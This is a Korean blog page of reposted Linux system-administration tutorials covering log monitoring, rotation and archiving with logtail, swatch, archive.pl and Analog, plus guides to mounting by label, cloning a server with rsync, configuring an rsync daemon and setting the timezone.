    55 3 * * * /usr/local/bin/logtail.pl /var/log/messages /var/log/messages.last

    #
    # Check the security log every day
    #
    56 3 * * * /usr/local/bin/logtail.pl /var/log/secure /var/log/secure.last

    #
    # Check the mail log every day
    #
    57 3 * * * /usr/local/bin/logtail.pl /var/log/maillog /var/log/maillog.last

    logtail.pl Script가 하루에 한번만 수행될 경우, 수행 시간을 Log Rotation이 되기
    직전에 두는 것이 중요한데(아래 참조), 이는 현 Log file이 Clear될 때, 모든 항목들이 전부 포함될 수 있도록 하기 위해서 이다. 매일 각 Machine에서의 Log File을 읽는 것은 번거러운 작업일 수 있으나, 메시지의 우선 순위에 따라 다른 Log로 적절히 분류되어 있으면 단순 정보가 아닌 메시지들은 특별한 관심을 가지고 읽을 필요가 있으며 이들은 logtail.pl Cron Job을 좀더 자주 수행하여(매분 정도) 새로운 몇 항목을 점검할 수 있다. 더 높은
    우선순위 File에서의 문제를 파악하기 위해, 단순 정보 File은 독립적으로 읽을 수 있다.

    이 Section에서 마지막으로 swatch라는 log에서 특정 Pattern을 점검하는 Utility를 소개한다. swatch는 원하는 Pattern(예를 들어 "panic")을 찾을 경우, Terminal Bell, mail 전송, 또는 다른 Program을 실행할 수 있다.
    Swatch는 http://www.stanford.edu/group/itss-css/security/Bestuse/software.html 에서 구할 수 있다.
    (첨부 참조)

    특정 machine 과 서비스에 대한 swatch 구성은 원하는 Log 항목과 관심을 가질 대상에 대한 약간의 경험 지식이 있어야 한다. 이 경험은 원시 Log File을 logtail.pl로 관찰하는 것이 가장 최선의 방법이다.


    Log File의 Rotating


    Log Rotation은 현재 log File을 다른 이름으로 저장하고, 현재 위치에서 다시 시작한다. 표준 UNIX 구성에서는 3~4 세대까지 Log file의 가지는데, 예를 들어 현재 Log file이 message 이면, 바로 이전은 message.1이고 계속 이런 형태로 진행된다.

    Solaris는 System Log Rotating에 대한 간단한 방법이 제공된다. 기본적으로 Root Account의 Cron 작업은 아래와 같은 간단한 Shell Scrip를 수행시키는데, 이는 현 System Log를 Save File로 이름을 변경하고, 기존 저장된 파일은 더 오래된 저장 File 이름으로 이동시키며, 결과적으로 가장 오래된 기존 File은 삭제 시킨다.

    # Solaris usr/lib/newsyslog
    #
    LOG=messages
    cd /var/adm
    test -f $LOG.2 && mv $LOG.2 $LOG.3
    test -f $LOG.1 && mv $LOG.1 $LOG.2
    test -f $LOG.0 && mv $LOG.0 $LOG.1
    mv $LOG $LOG.0
    cp /dev/null $LOG
    chmod 644 $LOG
    ...
    kill -HUP `cat /etc/syslog.pid`

    Red Hat Linux에서는 더욱 유연성을 가지는 logratate system을 소개하였다. 이것에
    의해 Log File의 전체 Set는 최상위 Level인 /etc/logrotate.conf 구성 File에 의해 제어 받을 수 있고, /etc/logrotate.d에 있는 개별적인 서비스에 관련된 구성 File에 의해 제어 받을 수 있다. 기본적으로는, logrotate 구성 file에 기록된 어떤 log file도
    주단위로 Rotate되고 4세대까지의 예전 Log file을 가질 수 있다. logrotate.conf에서 압축 기능이 설정되었을 경우, Rotation 동안 오래된 Log file들은 압축될 것이다.
    단지 하나의 구성 File이 전체 System Log에 대한 Rotation을 책임진다.

    # /etc/logrotate.d/syslog
    #
    /var/log/messages {
    postrotate
    /usr/bin/killall -HUP syslogd
    endscript
    }
    ...
    # similar entries for /var/log/{secure, maillog, spooler}

    이들 전략들은 모두 보관되는 log File들의 이름에 제한이 있는데, 단순히 원래 이름에 숫자의 확장자만을 더 붙이는 것이고, 위치 또한 현재 File과 동일 위치에 저장된다. 만약 보관되는 File이름이 해당 날짜에 따라 지정되고, 이들 보관 File들이 영구 저장에 별도로 할당된 영역으로 이동될 수 있으면 더욱 좋을 것이다. 다음 Section 은 이러한 Log File 보관과 Log Rotation 기능의 보완 방법에 대해 기술한다.


    Log File의 보관


    첨부에 있는 archive.pl Script는 임의의 File을 한 Directory에서 다른 Directory로 이동 또는 복사를 하고, 이동 또는 복사 중에 압축 또는 이름을 Timestamp에 의거하여 변경한다. 이 Script는 System에서 개별적으로, 또는 기존의 Log Rotation 설계와 통합되어 사용될 수 있다.

    Usage: archive.pl -- from <srcfile> --to <destdir>
    [ -- suffix <pattern>] [--ifexists]
    [--overwrite] [--compress]
    [--keepsrc] [--keepdate]
    [--keepbase] [--keepsuffix]

    선택 Parameter들은 Script가 보관전에 원시 또는 목적 File들이 존재하는지를 확인할 것인가, 그리고 보관되는 이름을 어떵게 지정할 것인가를 제어 할 수 있는 Boolean 스위치를 나타낸다.

    기본적으로, archive.pl은 '\..*' pattern 을 사용하여 확장자를 Matching하여 첫번째 Dot(.) 이후의 모든 것을 확장자로 인식한다. boot.log.0이라는 File에 대해서는 기본적으로 boot.19990801로 보관되어 바람직하게 되지 않는다. 이 File을 boot.log.19990801로 보관하기 위해, 확장자 Pattern을 '\.\d*'를 사용하여 숫자로 된 확장자 만을 인식할 수 있게 할 필요가 있다.

    Solaris newsyslog Script(위에서 언급된)는 가장 오래된 Log File을 제거하지 않고
    별도의 Directory에 Timestamp에 의해 이름을 변경하여 보관하도록 보완되어 있다. 다음과 같은 Line 이 Script의 첫 줄에 삽입되어 질 수 있다.

    /usr/local/bin/archive.pl -- from $LOG.3 --to archive
    --ifexists --compress -keepdate -keepbase
    이 Line은 messages.3을 현재 Directory에서 archive/ Directory로 이동시키며, Timestamp에 따라 이름이 변경되고 마지막으로 archive/messages.19990801.gz 라는 file로 압축되어 진다.

    Linux 환경에서, 유사하 명령을 logrotate 구성 File에 삽입시킬 수 있다. 다음은 수정된 Apache rotation File이다.

    # Enhanced /etc/logrotate.d/apache
    #
    /var/log/httpd/access_log {
    prerotate
    /usr/local/bin/archive.pl \
    -- from /var/log/httpd/access_log.3 \
    -- to /var/log/httpd/archive \
    -- ifexists --compress --keepdate \
    -- keepbase --suffix '\.\d*'
    endscript
    postrotate
    /usr/bin/killall -HUP httpd
    endscript
    }

    /var/log/httpd/error_log {
    prerotate
    /usr/local/bin/archive.pl \
    -- from /var/log/httpd/error_log.3 \
    -- to /var/log/httpd/archive \
    -- ifexists --compress --keepdate \
    -- keepbase --suffix '\.\d*'
    endscript
    postrotate
    /usr/bin/killall -HUP httpd
    endscript
    }

    Apache의 logrotate file에 대한 이 수정은 access_log.3 과 error_log.3을 Rotate되어 삭제되는 대신, 예를 들어 access log는 /var/log/httpd/archive/access_log.19990801.gz로 저장되어 Log File 분석 Tool에 의해 계속 점검될 수 있다.


    저장된 Log File들의 분석


    일단 Log file들이 영구적으로 보관되면, 시스템 관리자는 System 활동, 보안 침해, 구성상 문제 와 같은 이전 내용을 분석할 수 있다. System에서의 정상적, 비정상적 활동에 대한 유용한 자료를 가지고, 시스템 관리자는 swatch(이전 언급한)를 새로운 System의 Event를 감지하고 경고를 줄 수 있게 구성할 수 있다.

    보관된 Web Server Log와 관련하여 Server의 시작 시점에서 부터의 모든 Web server의 이전 활동에 대한 요약을 지속적으로 유지하는 것은 특별히 가치 있는 시도이다. Server의 활동에 대한 최신 요약을 고객에게 제시할 수 있다면 Web Site에 광고를 고려하는 고객이나, Web site의 Traffic을 이용하고자 하는, 또는 전체 Domain을 구매하려고 하는 잠재적인 투자자에게 깊은 감동을 줄 수 있을 것이다.

    이전 개요를 구성하기 위해서는 On-line으로 모든 이전 access log를 저장하고 이들을 시간대별, 또는 일별로 Analog와 같은 분석 Tool을 써서 처리하여야 한다.
    (첨부 FILE 또는 http://www/statslab.cam.ac.uk/~sret1/analog/ 참조)

    Analog 는 Web Server Log File들을 점검하여 Server Directory, 특정 Files, Browser Domains, 그리고 Browser Type에 따라, Access되어지고 몇몇 형태로 구성되어진 Page 및 files의 수 개요를 만들어 낸다.

    Analog 구성 File은 일반적으로 /usr/local/etc/httpd/analog/analog.cfg 또는 제공된 RPM에 의해 다른 곳에 저장된다. 이 구성 File은 분석될 Logs의 위치가 수정되고, Web Server Log가 기록되는 방법을 지정하는 Format 형식을 가져야만 한다. LOGFORMAT은 Apache 구성 File에서의 LogFormat line에 해당한다.

    # /usr/local/etc/httpd/conf/analog.cfg
    #
    LOGFORMAT (%S %j %u [%d/%M/%Y:%h:%n:%j] \
    %j %r %j" %c %b "%f" "%B" )
    LOGFORMAT COMMON

    LOGFILE /var/log/httpd/access_log*
    LOGFILE /var/log/httpd/archive/access_log*

    HOSTNAME "Company X"
    LOGO companyx.gif

    BROWSER ON
    FULLBROWSER ON
    REFERER ON
    REFSITE ON
    OUTFILE "home/httpd/html/status/current.html"

    DNSFILE "/usr/local/etc/httpd/analog/dnsfile.txt"
    DNS WRITE

    이 구성 File은 Analog가 httpd/ 와 httpd/archive/ Directory에 있는 Log Files을 해석하는 방법을 나타내고, Browser Types과 참조 Sites에 따라 Analog에서 다른
    개요를 만들 수 있게 하고 있다. 해당 개요의 결과는 수행되는 Web Site 계층의 status/ Directory에 기록 된다.

    최신 개요에 더하여, 최종적으로 완성해야 할 것은 Web Site 주기 동안 증대에 대한 이전 검토의 일별 개요를 보관하는 것이다. 다음 명령어는 archive.pl Script를 사용하여 Analog에서 발생되는 현재의 개요를 timestamp를 포함하는 다른 이름으로 변경을 시킨다. 그 결과 status/ Directory 아래에 모든 일별 개요들이 나타나게 된다.

    /usr/local/bin/archive.pl \
    --from /home/httpd/html/status/current.html \
    --to /home/httpd/html/stats -keepsrc \
    --keepdate --keepsuffix -suffix '\.html'

    보관된 개요들의 집합은 19990801.html 과 같은 이름을 가질 것이다.


    결 론


    자신의 Server에 대해 누구도 hacking을 시도한 적이 없다고 자랑하는 시스템 관리자는 자신의 System을 감시하는 방법을 모른다고들 한다. 일반 UNIX 서비스는 시스템 Log에 그들의 문제 유무와 활동 내용을 이미 기록하고 있고, 이는 시스템 관리자가 적어도 매일 점검해야 하는 가장 중요한 Files이다. 이번 Article에서 다룬 Filtering, 감시, 그리고 Logs의 보관 방법들은 UNIX 서비스에 대한 보안 위협과 일반적 문제를 찾아내는 중요한 Tool을 제공한다.
    Server의 Traffic에 재정이 의존되는 Web Site에 대해, 세심한 Log File 관리를 통해 얻은 기술이 바로 이익으로 나타난다는 것을 잊지 말아야 할 것이다.

    2006/09/08 12:45 2006/09/08 12:45
    이 글에는 트랙백을 보낼 수 없습니다
    출처 카페 > 컴하우스 / 아저씨
    원본 http://cafe.naver.com/comhouse/741
    *라벨명으로 마운트 하기
    일반적으로 신규 생성한 파티션을 마운트할 때, 다음과 같이 합니다.

    마운트 장치파일명 마운트 포인트
    [root@css ~]# mount /dev/hdaX /new

    하지만, 해당 파티션에 라벨을 주면, 더욱 간단하게 마운트 할 수 있습니다.
    파티션에 라벨을 주시려면 e2label 이란 명령어를 사용하시면 됩니다.
    E2label은 파티션에 라벨을 부여하거나, 라벨명을 확인할 때 사용됩니다.
    라벨을 부여한 이후부터는 좀 더 간단히 마운트하 실 수 있습니다.

    [root@css ~]# e2label /dev/hdaX /new
    [root@css ~]# mount /new

    일반적으로 라벨명은 이해를 쉽게 하기 위해서 디렉토리의 절대경로명은로 지정합니다.

    파티션의 라벨명은 rescue 모드에서 작업할 때도 유용하게 사용될 수 있습니다.
    2006/09/08 12:44 2006/09/08 12:44
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > 명랑폐인
    원본 http://blog.naver.com/spy1217/40024565876

    *기존 서버 복제하기(rsync 이용-시간 상당히 단축된다)

    A 원본 서버, B 클론 서버

    cd로 리눅스 부팅(systemrescuecd-x86-0.2.15.iso)

    ip 세팅
    ]# net-set eth0

    sshd 가동]# /etc/init.d/sshd start

    패스워드 설정
    ]# passwd root
    (sshd 가동, pass 설정되면 원격에서 작업 가능하다)

    hdd는 mount되지 않기 때문에 기존 정보랑은 상관없음

    부팅한 B서버에서 기존 파티션 정보 다 날리고

    새로운 파티션 정보 수정하구 포멧(가급 A와 같은 정보로 세팅, A서버의 파티션 별 용량 보다 넉넉하게는 세팅해야 함)

    B 서버에 임의의 디렉토리를 만든다음에 각 파티션 별루 마운트

    예를 들어 A파티션 정보가 아래와 같다면

    Filesystem            Size  Used Avail Use% Mounted on
    /dev/sda1             981M  324M  607M  35% /
    /dev/sda2              14G  372M   13G   3% /home
    /dev/sda4             981M   17M  915M   2% /tmp
    /dev/sda3             3.9G  247M  3.5G   7% /var

    b 서버에 /test 를 생성한담에 mount
    mkdir /test, mkdir /test/var, /test/tmp, /test/home
    /test/            /dev/sda1
    /test/var         /dev/sda3
    /test/tmp         /dev/sda4
    /test/home        /dev/sda2

    그리구 rsync명령

    rsync --exclude="proc/" -avPze ssh root@A서버명:/ /test/

    proc만 제외시킨다

    chroot /test /bin/bash
    (/test dir을 /로 인식)

    grub라면 grub-install /dev/hda, lilo라면 lilo

    lable 사용한다면 e2lable로 파티션 재인식 시킨다(안그럼 kernel panic난다, lable 사실 상당히 짜증난다, 가급적이믄 장치명으로 설정하자)

    exit (다시 원래 상태로 돌아감)

    아까 proc을 exclude했으니 proc디렉토리 생성해주고 reboot
    mkdir /test/proc

    ※ mysql 데이터 복제시 mysqld stop 후에 rsync한다.(mysql root dir 권한 reset)

    ==========================================================================


    2001년 08월 31일 10시 14분 22초
    *********************************************************************
    호스트간의 데이터 동기화를 위한 rsync 설정
    *********************************************************************
    제목 : 호스트간의 데이터 동기화를 이한 rsync 설정
    작성자 : 문태준(taejun@taejun.pe.kr http://www.taejun.pe.kr)
    작성일 : 2000. 4. 12
    *********************************************************************


    참고자료 :
    http://www.taejun.pe.kr/board2/read.php3?table=linuxinfo&no=28&page=1
    rsync 이용 동기화하기 (박명순님 pms89@hitel.net 글)

    레드햇 리눅스 6 서버 - 파워북 출판사, 번역판중 rdist 관련 자료

    man page - rsync(1), rsyncd.conf(5)


    0. 들어가며
    서버 클러스터링으로 여러대의 서버를 운영하는 경우 각 호스트간의 자료를
    공유해야합니다. 공유기법에는 NFS도 있지만 NFS의 경우는 네트웍 트래픽을 무척이나
    높이므로 그 대신 rdist나 rsync를 이용할 수 있습니다. 이 글에서는 rsync를
    이용하여 각 호스트간의 자료를 동기화하는 방법을 설명합니다.


    1. rsync란 무엇인가?
    rsync는 rcp와 비슷한 동작을 하는 프로그램으로 rcp보다 더 다양한 옵션이 있고, 더
    효율적으로 데이터를 전송합니다. (출발지와 목적지 사이에 다른 부분만을 전송)
    파일크기의 변화나 시간의 변화등을 이용 동기화를 합니다.
    주요 특징은 다음과 같습니다.

    ㅇ 링크, device, 소유자, 그릅, 허가권 복사 지원
    ㅇ GNU tar와 비슷한 exclude, exclude-from 옵션 지원
    ㅇ rsh 또는 ssh 등 사용가능
    ㅇ root 권한이 필요없음
    ㅇ anonymous 또는 인증 rsync 서버 지원(미러링에 유용함)

    2. rsync 설정
    ㅇ 일반적인 배포판의 경우 프로그램이 들어있음. 다음과 같이 확인후 없으면
    프로그램 설치
    # rpm -qa | grep rsync
    rsync-2.3.1-2

    ㅇ rsync 2.3.1 이전 버전의 경우 "보안버그"가 있으므로 이전 버전이
    설치되어있다면 반드시 "2.3.1 이상 버전으로 업데이트"해야함

    ㅇ 동기화에 사용하는 프로토콜 : rsh, ssh를 사용할 수 있음. 이를 사용하지
    않더라도 원격 rsync 서버에 TCP 포트 873을 이용 접속할 수 있음. 873 포트를 이용할
    경우 inetd.conf 에 추가로 설정을 해야합니다.

    rsync stream tcp nowait root /usr/bin/rsync rsyncd --daemon

    --daemon은 대몬모드로 시작한다는 이야기이며 /etc/rsyncd.conf파일을 필요로
    합니다.

    또한 /etc/services 에 다음 내용이 있는지 확인하고 없으면 추가합니다.

    rsync 873/tcp # rsync



    추가하고 나서는 inetd 대몬을 다시 띄워야겠지요?
    # kill -HUP inetd_pid

    만약 ssh나 rsh를 사용하는 경우에는 inetd.conf를 수정할 필요가 없습니다.



    3. 설정파일 : /etc/rsyncd.conf
    예제를 보겠습니다. 다음 예제의 호스트를 www1이라고 하겠습니다.

    # cat /etc/rsyncd.conf

    [web]
    path = /home/www/htdocs
    comment = web
    uid = nobody
    gid = nobody
    use chroot = yes
    read only = yes
    hosts allow = www2.taejun.pe.kr
    max connections = 3
    timeout 600

    [web] 서비스명
    path 서비스할 디렉토리
    comment 설명
    uid 파일전송하는 사용자의 id. 기본값은 nobody
    gid 파일전송하는 사용자의 그룹 id. 기본값은 nobody
    use chroot 위의 path를 root 디렉토리로 사용. 보안상 필요함.
    read only 읽기전용
    hosts allow 호스트별 접속허용. 기본값은 all host이므로 보안을 유지하려면 반드시
    설정함
    max connections 동시접속자수
    timeout 클라이언트에서 접근시 타임아웃시간. anonymous 로 운영하는 경우 설정을
    해야 클라이언트가 죽었을 때 서버에서 접속을 해체할 수 있음.

    * put(클라이언트에서 서버로 올리는 경우)을 사용하기위해서는 read only = no 로
    설정을 해야됩니다.

    이 외에도 여러 가지 옵션이 있지만 실제로은 위의 옵션정도가 자주 사용됩니다. 현재
    rsync 자체적으로 암호화는 지원하지 않으며 사용자 인증만 지원합니다. 추후에는
    SSL을 지원할 예정이며, 만약 암호화를 사용하려면 ssh를 사용하면 됩니다.


    4. rsync 사용하기
    (접근 클라이언트를 www2.taejun.pe.kr이라고 가정함)

    rsync -avz --delete www1.taejun.pe.kr::web /home/taejun/~public_html

    -a는 아카이브 모드. 심볼릭 링크, 속성, 퍼미션, 소유권 등 보존
    -v 상세하게 보여움
    -z 전송시 압축을 함.

    --delete www1.taejun.pe.kr에서 web에 해당하는 내용(/home/www/htdocs)을
    ww2.taejun.pe.kr 의 /home/taejun/~public_html 로 가져오면서 www1(서버)에는 없는
    내용은 www2에서 삭제함. 만약 www2 차원에서 생성한 파일을 보관하려면 옵션 없앰.


    rsync -avz foo:src/bar /data/tmp
    다음 내용은 foo라는 호스트에서 src/bar 안의 내용을 지역호스트의 /data/tmp
    디렉토리로 옮기는 것입니다.

    여기서 알아두어야 할 것이 있습니다.
    만약 위에서 src/bar/ 라고 하면 어떻게 달라질까요? bar 는 그 디렉토리 자체까지
    포함해서 가져옵니다. 그렇지만 bar/ 라고 뒤에 디렉토리 표시를 하면 그
    디렉토리안에 있는 내용만 가지고 옵니다. 상당히 결과가 달라질 수 있겠지요.

    또한 : 과 ::의 차이는 무엇일까요? : 은 rsh나 ssh를 사용하는 것이며 :: 은 rsync
    자체에서 지원하는 기능을 이용 자료를 가져오는 것으로 873 TCP 포트를 사용합니다.
    상당히 헷갈리지요? : 에서 기본은 rsh를 이용하지만 -e ssh 옵션을 이용하여 ssh를
    사용할 수 있습니다. ssh를 사용하려면 비밀번호를 입력해야하는데 이것도 파일형태로
    만들어서 옵션에서 지정해주면 됩니다. 이에 대해서는 따로 설명하지는 않으며 man
    page를 참고하세요.

    -avz 등의 옵션이 있는데 이중 중요한 옵션만 설명을 하겠습니다.

    -v verbose (자세하게 보여줌)
    -a archive mode

    -u update only(새로운 파일을 덮어쓰지 않음)
    --delete 서버쪽에 없고 클라이언트쪽에만 있는 파일을 지움
    -z compress (전송시 압축을 함)
    --daemon 대몬 모드로 운영함 (이건 inetd.conf에 지정할 때 필요함)



    -a 는 -rlptg 와 동일합니다.
    -r recursive (하위 디렉토리까지 포함)
    -l 심볼릭 링크 재생성
    -p 퍼미션 업데이트
    -t 변경시간 전송 (이것이 없으면 전송한 시간으로 바뀜)
    -g 그룹이름 변경

    일반적으로 rsync는 길이와 time-stamp를 이용 파일을 비교합니다.

    이제 쉘 스크립트를 만들고 cron에 등록을 하여 주기적으로 데이터를 동기화하면
    됩니다.



    5. 마치며
    기본적으로 암호화를 지원하지 않는 것이 아쉽고 약간은 불편합니다. ssh를 쓰는 것도
    한가지 대안이지만 비밀번호를 넣어야하고 일일이 넣기 귀찮으면 파일형태로 지정할
    수 있는데 이런 방법도 보안문제가 생길 여지가 있겠지요.

    위에서 말을 한 대로 예전 패키지에는 보안 버그가 있으니 반드시 최근 패키지로
    업데이트를 하는 것! 잊지 마세요.

    ---- rsync.txt 내용 --------------------------


    *********************************************************************
    호스트간의 데이터 동기화를 위한 rsync 설정
    *********************************************************************
    제목 : 호스트간의 데이터 동기화를 이한 rsync 설정
    작성자 : 문태준(taejun@taejun.pe.kr http://www.taejun.pe.kr)
    작성일 : 2000. 4. 12
    *********************************************************************


    참고자료 :
    http://www.taejun.pe.kr/board2/read.php3?table=linuxinfo&no=28&page=1
    rsync 이용 동기화하기 (박명순님 pms89@hitel.net 글)

    레드햇 리눅스 6 서버 - 파워북 출판사, 번역판중 rdist 관련 자료

    man page - rsync(1), rsyncd.conf(5)


    0. 들어가며
    서버 클러스터링으로 여러대의 서버를 운영하는 경우 각 호스트간의 자료
    를 공유해야합니다. 공유기법에는 NFS도 있지만 NFS의 경우는 네트웍 트래
    픽을 무척이나 높이므로 그 대신 rdist나 rsync를 이용할 수 있습니다. 이
    글에서는 rsync를 이용하여 각 호스트간의 자료를 동기화하는 방법을 설명
    합니다.


    1. rsync란 무엇인가?
    rsync는 rcp
    ......생략
    이글은 문태준님의 강좌에서 펀글임다 참고 하세요 ^^

    글주신분 : 박명순(pms89@hitel.net)
    글을 제공해주신 박명순님께 감사드립니다.



    rsync설정 기초편입니다.

    rsync는 두 호스트사이의 데이터의 동기화를 위해서 사용되는 방법입니다.
    서버측과 클라이어트측의 동기화에 많이 사용이 되며 기본적으로는 파일크기의
    변화나 시간의 변화로 파일의 변경을 알고 데이타 동가화를 합니다.
    즉 변경이 없는 파일은 복사를 하지 안습니다. 그리고 복사하는 도중에 압축
    모드를 사용하나봅니다. 무지빨라요 단 io작업이 무지막지해서 로드가 많이
    걸립니다.

    R2의 경우 rsync는 들어있는데 보안문제로 inetd.conf에는 설정이 없습니다.
    따라서 추가적으로 설정을 해부어야 합니다.

    rsync stream tcp nowait root /usr/bin/rsync rsyncd --daemon

    위와 같은 줄을 추가해주시고
    /etc/rc.d/init.d/inet restart
    하시면 되고요
    다음에
    /etc/rsyncd.conf라는 rsync 서버호스트 설정 파일을 편집합니다.
    내용 예제는
    [web]
    path = /home/httpd/htdocs
    comment = web
    uid = root
    gid = root
    use chroot = yes
    read only = yes
    hosts allow = 211.40.179.62 211.40.179.60
    max connections = 2
    설명
    [web] 서비스명 (?)
    path 서비스할 디렉토리
    comment 설명
    uid 접근자에대한 권한 보통은 nobody임
    gid 상동 단 그룹
    use chroot 서비하는 디렉토리를 루트디렉토리로 사용하는거 보안상
    read only 읽기전용 ( rsync 는 get발고 put도 있음 )
    hosts allow 호스트별 접속허용
    max connections 동시접속
    * put을 사용하기위해서는 read only = no 로 설정을 해야됩니다.

    클라이언트측 설정

    GET
    /usr/bin/rsync -av --delete www1.csnet.co.kr::web /home/httpd/htdocs
    이러면 다운로드하고 서버에없어진거는 지우고....

    PUT
    /usr/bin/rsync -av --delete /home/httpd/htdocs www1.csnet.co.kr::web
    이러면 업로드됩니다.
    아직 다운에서는 uid gid 모두다 유지가 되는데 업로드는 uid는 유지가
    되는데 gid는 root로 바뀌는 현상이 있습니다. 잘모르겠습니다.
    참 설정에서 read only=no 가 설정되어야 합니다.

    서버측 공유명(맨페이지에서는 모듈이라고 하는거 같네요)을 보려면
    rsync www1.csnet.co.kr::
    만하면 공유명이 나옵니다.

    rsync -a www1.csnet.co.kr::web
    은 웹이라는 공유폴더의 파일리스트가 표기됩니다.

    rsync -av www1.csnet.co.kr::web 으로하면 파일리스트가 현재디렉토리에
    list라는 파일로 저장이 됩니다.

    -a 아카이브모드
    -v 자세한 내용을 보여줌
    --delete 서버에서 사라진 파일이 있으면 클라이언트측에서도 지움
    기본설정에서는 지우지는 안는다.
    www1.csnet.co.kr rsync서버이름
    web 서비스명
    /home/httpd/htdocs 로컬측 디렉토리

    대충 이런식으로 사용을 하면 됩니다.

    참고: 다음은 보안 설정을 추가하는 방법입니다
    rsync -av --delete -e ssh ~/public_html/ webserver:/home/rwa2/public_html/

    2006/09/08 12:43 2006/09/08 12:43
    이 글에는 트랙백을 보낼 수 없습니다
    Linux  2006/09/08 12:43
    출처 블로그 > 연금술사
    원본 http://blog.naver.com/blueruby/60022141621

    리눅스 표준시간 설정


    system-config-date 패키지 설치
    timeconfig 명령이용


    system-config-date 패키지가 안되어 있다면
    shell> cp -af /usr/share/zoneinfo/Asia/Seoul /etc/localtime

    2006/09/08 12:43 2006/09/08 12:43
    이 글에는 트랙백을 보낼 수 없습니다
    웅쓰:웅자의 상상플러스
    웅자의 상상플러스
    전체 (379)
    게임 (5)
    영화 (2)
    기타 (23)
    맛집 (5)
    영어 (2)
    대수학 (3)
    형태소 (5)
    Hacking (9)
    Linux (112)
    HTML (48)
    Application_developing (48)
    Web_developing (102)
    Window (11)
    «   2024/05   »
          1 2 3 4
    5 6 7 8 9 10 11
    12 13 14 15 16 17 18
    19 20 21 22 23 24 25
    26 27 28 29 30 31  
    1. 2016/01 (1)
    2. 2015/12 (3)
    3. 2015/10 (3)
    4. 2015/03 (2)
    5. 2015/01 (4)